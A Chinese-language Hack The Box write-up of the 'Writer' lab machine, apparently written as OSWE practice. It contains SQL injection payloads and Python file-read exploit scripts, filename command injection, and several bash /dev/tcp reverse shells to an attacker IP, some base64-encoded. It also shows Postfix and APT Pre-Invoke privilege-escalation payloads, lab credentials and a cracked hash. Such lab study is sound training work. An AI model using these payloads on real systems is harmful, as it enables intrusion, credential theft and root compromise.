HTB: Writer (OSWE 靶機)
Writer 是一道中等難度的 Linux 主機。起初可透過 SQL Injection 觸發的檔案讀取漏洞,洩露包含敏感憑證的原始碼。攻擊者進一步利用被重複使用的密碼登入 SMB,並透過圖片上傳功能中的盲 SSRF 漏洞取得初始存取權。隨後,藉由濫用 Django 的特性,可以擷取並破解多名使用者的帳密。取得使用者權限後,主機上的多項 Postfix 錯誤設定提供了更進一步的攻擊面。最終,攻擊者利用 apt 更新流程中的腳本執行權限問題,成功以低權限帳號在系統的自動更新機制中注入命令並提升至 root。
機器資訊
-
平台: Hack The Box
-
難度: Medium
-
IP: 10.129.252.220
-
作業系統: Linux
偵察(Recon)
Nmap 掃描-TCP
sudo nmap -sC -sV -p- --min-rate 10000 10.129.252.220 -oA scan/TCP
[sudo] password for control:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-26 08:46 EST
Nmap scan report for 10.129.252.220
Host is up (0.31s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA)
| 256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA)
|_ 256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Story Bank | Writer.HTB
|_http-server-header: Apache/2.4.41 (Ubuntu)
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: 1m10s
|_nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2025-11-26T13:48:12
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.07 seconds
TCP開放端口: - 22/tcp - SSH (OpenSSH 8.9p1) - 80/tcp - Apache httpd 2.4.41 ((Ubuntu))
TCP 80
從網頁上看起來是新聞專欄,並沒有什麼可以利用的
從About可瞭解到他10年寫作經驗,並且最近開始在做網路開發,會寫東西發在部落格上
Shell to www-data
使用目錄爆破一陣子後找出有一個特殊的路徑是administrative
是一個管理者的登入頁面,嘗試SQL injection
這邊使用SQL injection成功注入繞過登入,同時這邊屬於盲注,無法從前端看到任何報錯的資訊
admin' -- -
或者是下面的最後面一格有空格是因為MySQL的特性
admin' --
另外也可以使用這個payload 去繞過,可以不用管後面接什麼因為MySQL都會當作註解,但如果在URL 必須要做encoding才能夠讓Mysql當作註解
admin' #
舉個例子
SELECT * FROM users WHERE user='admin'--'
如果沒有輸入空格,MySQL在user輸入 admin'時讀到'會認為字串結束
然後接下來看到--會自動認為兩個減號而不是註解。
SELECT * FROM users WHERE user='admin'-- '
如果是上面這個看到兩個減號,而且後面跟著一個空白(也就是控制字元) 會自動判定是註解
既然已經確定擁有SQLinjection的漏洞,嘗試列出欄位
admin' UNION SELECT 1,2,3,4,5,6 -- -

admin' UNION SELECT 1,SLEEP(5),3,4,5,6 -- -
使用SLEEP(5)也可以從右下角看出被睡了5秒
嘗試使用load_file() 去讀取檔案
admin' UNION SELECT 1,load_file('/etc/passwd'),3,4,5,6 -- -
寫個exploit讀取/etc/passwd
import requests
import sys
url = "http://10.129.252.220/administrative" #change the target url
target_file = "/etc/passwd"
print(f'[*] Reading......:{target_file}')
payload =f"admin' UNION SELECT 1,load_file('{target_file}'),3,4,5,6 -- -"
data = {
'uname': payload
,'password': '123'}
try:
response = requests.post(url, data=data)
if response.status_code == 200:
print("\n[+]Successful:\n")
print(response.text)
print("\n" + "="*30)
print("search 'root:x:0:0'")
else:
print(f"[-]fail state code {response.status_code}")
except Exception as error:
print(f" error {error}")
成功使用python 讀取etc/passwd,但格式還是有點醜 我只想要呈現/etc/passwd的內容,如果要讓整個exploit輸出更乾淨,就必須要使用re 正規化模組
我們只要admin後面到 </h3>的內容
也就是說使用下面的規則去做過濾
pattern = r"Welcome\s+(.*?)</h3>"
以及還需要使用
re.search(..., re.S)
基本上我目前使用 re 模組抓取 HTML 內容都會去使用,因為HTML太多換行,尤其是像這種/etc/passwd都是換行
import requests
import sys
import re
url = "http://10.129.252.220/administrative"
target_file = "/etc/passwd"
payload = f"admin' UNION SELECT 1,load_file('{target_file}'),3,4,5,6 -- -"
data = {
'uname': payload,
'password': '123'
}
try:
response = requests.post(url,data=data)
if response.status_code == 200:
pattern = r"Welcome\s+(.*?)</h3>"
match = re.search(pattern, response.text, re.S)
if match:
clean_content = match.group(1).strip()
if clean_content != "admin":
print(clean_content)
else:
print("[-] loding fail")
else:
print("[-] check webpage")
except Exception as e:a
print(f"{e}")
接下來就是想辦法搞成字典檔,我用這個
import requests
import re
import sys
if len(sys.argv) < 2:
print(f"input python {sys.argv[0]} <filepath>")
sys.exit()
target_file = sys.argv[1]
print(f"[*] Reading file:{target_file}")
url = "http://10.129.252.220/administrative"
payload = f"admin' UNION SELECT 1,load_file('{target_file}'),3,4,5,6 -- -"
data = {
'uname': payload,
'password': '123'
}
try:
response = requests.post(url, data=data)
if response.status_code == 200:
pattern = r"Welcome\s+(.*?)</h3>"
match = re.search(pattern, response.text, re.S)
if match:
content = match.group(1).strip()
if content != "admin":
print("\n" + "="*30)
print(content)
print("="*30 + "\n")
else:
print("loading fail:file not exsist")
else:
print("[-] Regex fail: cant find pattern!!!")
else:
print(f"[-] connecting fail code:{response.status_code}")
except Exception as e:
print(f"[-] error: {e}")
使用上面這個payload可以更方便,不得不說寫個個
python sys_union.py /etc/passwd

for file in $(cat target_list.txt); do python3 writer_cli.py "$file"; done
如果使用kali 內建的 for 迴圈下去跑每個資料夾 會不方便看,在寫一個輸出檔案的exploit
基本上只要加
import os
然後設定一個資料夾名稱
output_dir = "file"
接下來在content != "admin"裡面加
if not os.path.exists(output_dir):
os.makedirs(output_dir)
safe_filename = target_file.replace("/", "_")
save_path = os.path.join(output_dir, safe_filename)
with open(save_path, "w", encoding="utf-8") as f:f.write(content)
print(f"[+] Success! Saved to: {save_path}")
print("-" * 30)
print(content[:100] + "...\n")
完整exploit如下
import requests
import re
import sys
import os
if len(sys.argv) < 2:
print(f"input python {sys.arv[0]} <filepath>")
sys.exit()
target_file = sys.argv[1]
print(f"[*] Reading file:{target_file}")
url = "http://10.129.252.220/administrative"
output_dir = "loot"
payload = f"admin' UNION SELECT 1,load_file('{target_file}'),3,4,5,6 -- -"
data = {
'uname': payload,
'password': '123'
}
try:
response = requests.post(url, data=data)
if response.status_code == 200:
pattern = r"Welcome\s+(.*?)</h3>"
match = re.search(pattern, response.text, re.S)
if match:
content = match.group(1).strip()
if content != "admin":
if not os.path.exists(output_dir):
os.makedirs(output_dir)
safe_filename =target_file.replace("/","_")
save_path = os.path.join(output_dir,safe_filename)
with open(save_path,"w", encoding="utf-8") as f:
f.write(content)
print(content[:100] + "...\n")
else:
print("loading fail:file not exsist")
else:
print("[-] Regex fail: cant find pattern!!!")
else:
print(f"[-] connecting fail code:{response.status_code}")
except Exception as e:
print(f"[-] error: {e}")
在執行一次
for file in $(cat target_list.txt); do python3 writer_cli.py "$file"; done
可以看到loot 資料夾裡面有一堆東西
開始看什麼酷的
_etc_mysql_my.cnf
djangouser:DjangoSuperPassword 從帳號可以推判可能是Django框架
查看/etc/crontab 沒東西
apache的配置檔
_etc_apache2_sites-enabled_000-default.conf
從配置檔裡面發現一個下半段很多被註解掉
並且提到dev.writer.htb的subdomain他說後端開發後會開在8080
# WSGIScriptAlias / /var/www/writer2_project/writerv2/wsgi.py
並且可以看到有wsgi.py,在跟前面發現mysql config裡面有django的特徵 可以推測整個架構是這樣,可以從這邊看到
my_project/
│
├── manage.py
├── README.md
├── requirements.txt
├── .gitignore
├── .env
├── my_project/ # Main project folder
│ ├── __init__.py
│ ├── settings.py # Or a settings/ folder with separate files (base.py, dev.py, prod.py)
│ ├── urls.py
│ ├── wsgi.py
│ ├── asgi.py
│ └── static/ # Global static files (optional, can be managed by each app)
嘗試存取 settings.py 以及 __init__.py,可惜的是好像沒有settings.py這個檔案,
幸運的是找到另外一組帳密admin:ToughPasswordToCrack,且db名稱是writer
既然都能看到整個網站的code 這時候就來code review看哪裡有問題
在這段的裡面其中裡面有os.system()是command injection的
從一開始做檢查
im = Image.open(image)
im.verify()
im.close()
只有在im.verify()驗證檔案內容,卻沒驗證檔案名字叫什麼
os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
在做字串拼接的時候.format()會把我們的檔案名稱直接寫進去
假設一下,現在這是我們的變數
mv /tmp/{} /var/www/writer.htb/writer/static/img/{}
正常檔案名稱是 control.jpg的話,裡面會變成
mv /tmp/control.jpg /var/www/writer.htb/writer/static/img/control.jpg
會正常的移動jpg,使用mv指令搬到他想要的路徑,而且他沒做任何過濾
那現在如果使用;會執行下一個指令就可以觸發我們的command injection 後面的/var....就沒啥意義
接下來就來驗證我們邏輯看能不能觸發command injection
從/static/img可以看到我們上傳後的jpg檔案
直接使用whoami看看
在這邊嘗試了ls whoami都無法成功利用os.system()的原因在這行
local_filename, headers = urllib.request.urlretrieve(image_url)
試著去了解一下 urlretrieve()這個Function 有兩種用法, 第一種
urlretrieve(url, "my_photo.jpg")
從網頁裡下載圖片,並後面取command injction的檔名,就能夠順利在os.system() 執行 成功觸發 id whoami等指令
第二種則是以下
Python 會在暫存目錄/tmp裡面 把我們的檔案名字變成一個亂數,導致我們前面無法成功運行command injection
既然http會亂數試試看file協定
使用file協定存取檔案檔名就不會變成亂數!!
我們前面有使用LFI列舉到『_etc_apache2_sites-enabled_000-default.conf』
可以知道完整的路徑

/var/www/writer.htb/writer/static
也就是說我們只需要使用
file:///var/www/writer.htb/writer/static/上傳的.jph;whoami
我先上傳Control1235.jpg
file:///var/www/writer.htb/writer/static/Control1235.jpg;echo aWZjb25maWcK |base64 -d |bash;
並且在image_url輸入上面的payload
可惜無法使用 whoami 或者是 ifconfig確定能不能觸發 使用ping回我們kali看能不能收到封包,如果可以收到封包那就可以直接彈回shell
file:///var/www/writer.htb/writer/static/Control1235.jpg;echo
cGluZyAtYyA0IDEwLjEwLjE0Ljc3Cg==|base64 -d |bash;
當我們確定送出ping指令能收到封包直接拿shell了
最後payload懶人包
echo -n "bash -c 'bash -i >& /dev/tcp/10.10.14.77/4567 0>&1'" | base64
使用 echo -n不輸出最後的換行符號
touch 'Hackwithcontrol.jpg; `echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43Ny80NTY3IDA+JjEn | base64 -d | bash `;'
創建一個檔案 可以decode 我們的command injection 也就是說 後面程式是這樣
mv /tmp/Hackwithcontrol.jpg; `echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43Ny80NTY3IDA+JjEn | base64 -d | bash `; /var/www/writer.htb/writer/static/img/Hackwithcontrol.jpg; `echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43Ny80NTY3IDA+JjEn | base64 -d | bash `;
並且前面提到file://可以繞過這個限制,導致可以使用os.system()觸發,讚啦

www-data to kyle
script /dev/null -c bash
這邊沒有任何python,先升級shell
一樣可以從/var/www看到我們前面使用LFI拿出來的__inin__.py檔案
也是一樣可以看到有一個database是writer跟
一組cred
從/var/www/writer2_project這個路徑可以看到有一個manage.py檔案
從這邊看到可以知道manage.py 是 Django 提供的命令列工具,我們可以利用它執行很多工作,例如同步資料庫、建立 app 等等
也就是說現在我們必須要先確定settings有沒有權限設定的問題如果www-data也是擁有者我們就能夠利用manage.py去存取資料庫
可以看到settings.py是www-data,從這篇可以告訴我們使用dbshell可以直接存取資料庫
python3 manage.py dbshell
成功存取MariaDB
show tables;
列出tables
select * from auth_user;
選擇tables
看到一組cred 是 kyle以及他的hash
使用hashcat爆破
hashcat 'pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=' /usr/share/wordlists/rockyou.txt
爆破出來的密碼是『marcoantonio』

kyle to root
一樣列舉kyle有什麼資訊可以利用
id
會發現有一個很奇怪的群組filter
搜尋 filter(Group) 的檔案
find / -group filter 2>/dev/null
這個群組只有兩個檔案,查看這兩個檔案有什麼權限
在/etc/postfix/disclaimer 可以看到在對應的群組可以執行且編輯
在/var/spool/filter的部分則是擁有全部的權限,因為我們擁有filter的權限
find / -group filter -ls 2>/dev/null
也可以使用以上直接列出會看得比較清楚
接下來一樣來列舉正在監聽的 TCP 服務
netstat -ano
環境沒有netstat
ss -lnpt
可以看到在127.0.0.1有開一個 25port ,而通常這個port 都是smtp,我們在一開始使用nmap時沒有掃到的原因是他只能在127.0.0.1使用
直接去搓127.0.0.1:25
nc 127.0.0.1 25
可以看到25 port Response 『ESMTP Postfix』,而我們前面列舉也有看到 filter擁有可讀可寫postfix的權限
從/etc/postfix/disclaimer 可以看到裡面是使用/bin/sh所寫的內容,但現在還需要確定這支程式是由誰執行,因為我們擁有了讀寫的權限,寫入bash的reverseshell很簡單。
bash -i >& /dev/tcp/10.10.14.XXX/4444 0>&1
於是找到了這邊文章他裡面詳細了說明postfix怎麼判斷執行的人
為了驗證是誰執行的必須去/etc/postfix/master.cf看
可以看到最後一個user=john
大致上拿到John的shell的流程是 Postfix再知道我們要寄出去信的時候,他會去查看master.cf這個檔案後,會使用john去執行/etc/postfix/disclaimer
bash -c bash -i >& /dev/tcp/10.10.14.77/7878 0>&1
寫進去/etc/postfix/disclaimer裡面
接下來就是寄信了可以從這邊看到SMTP格式
MAIL FROM:kyle@writer.htb
RCPT TO:john@writer.htb
DATA
Subject: Coolstuff
testtest
.
只不過問題來了,每次都寄信後都會發生問題,就是他一下子就會把/etc/postfix/disclaimer重置,現在最好的狀況就是寫一個python,可以依據這邊參考如何寫個smtp寄信功能,已經有基本骨架,再使用sys
import smtplib
import sys
from email.mime.text import MIMEText
from email.header import Header
smtp_server = "127.0.0.1"
smtp_port = 25
if len(sys.argv) < 4:
print(f"Usege: python3{sys.argv[0]}'<send><receive><body>")
print(f"Example:python3{sys.argv[0]}'kyle@writer.htb john@writer.ht openit")
sys.exit()
sender = sys.argv[1]
receiver = sys.argv[2]
subject = sys.argv[3]
body = "Nothing to say"
message = MIMEText(body, 'plain', 'utf-8')
message['From'] = sender
message['To'] = receiver
message['Subject'] = Header(subject, 'utf-8')
try:
smtp = smtplib.SMTP(smtp_server, smtp_port)
smtp.ehlo()
smtp.sendmail(sender, [receiver], message.as_string())
print(f"[+] Successful!")
print(f" From: {sender}")
print(f" To: {receiver}")
smtp.quit()
except Exception as e:
print(f"[-] Fail: {e}")
但因為目前的環境還需要同時修改disclaimer,直接寫入比較快,就不用再用vim了
echo "bash -c 'bash -i >& /dev/tcp/10.10.17.3/7878 0>&1'" > /etc/postfix/disclaimer
python3 smtp_local.py kyle@writer.htb john@writer.htb "cool"
成功拿到john

John to Root
拿到John之後,發現John裡面都沒東西
裡面有ssh,直接把私鑰拿出來,並且用他的私鑰登入
ssh -i john_private_key john@10.129.254.34
成功使用 john私鑰登入
接下來一樣列舉看有什麼資訊可以利用的
id
可以看到John同時有management的群組
find / -group management -ls 2>/dev/null
可以看到我們擁有寫入/etc/apt/apt.conf.d的權限
接下來同時上linpeas以及pspy看有什麼資訊可以利用
使用linpeas一樣會顯示manager可以執行/etc/apt/apt.conf.d 從這邊文章可以看到這個資料夾可能是APT proxy設定檔,當我們修改完內容,必須要執行
apt update
看能不能正常運作,現在還是需要確定會不會定期執行apt update
Bingo 看到有在排程做apt update,從GTFObins可以看到When the shell exits the update command is actually executed.
sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh
可以看到他是設定 Pre-Invoke 去拿到root的 APT 的設定檔 有一些既定的格式,Pre-Invoke就是在執行apt-get update 真正下載東西的時候之前先執行檔案 開始做payload
echo '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.77/8888 0>&1"' | base64 -w0
echo 'apt::Update::Pre-Invoke {"echo L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNzcvODg4OCAwPiYxIgo= | base64 -d | bash"};' > 000-Controler
成功拿到root,這台靶機環境不太穩定前前後後大概重置了快10次,但可以學習到如何在不同環境撰寫exploit,以及橫向移動需要列舉哪些內容,是個在考OSCP可以參考的提權方向,也是在準備OSWE練習寫exploit的不錯的靶機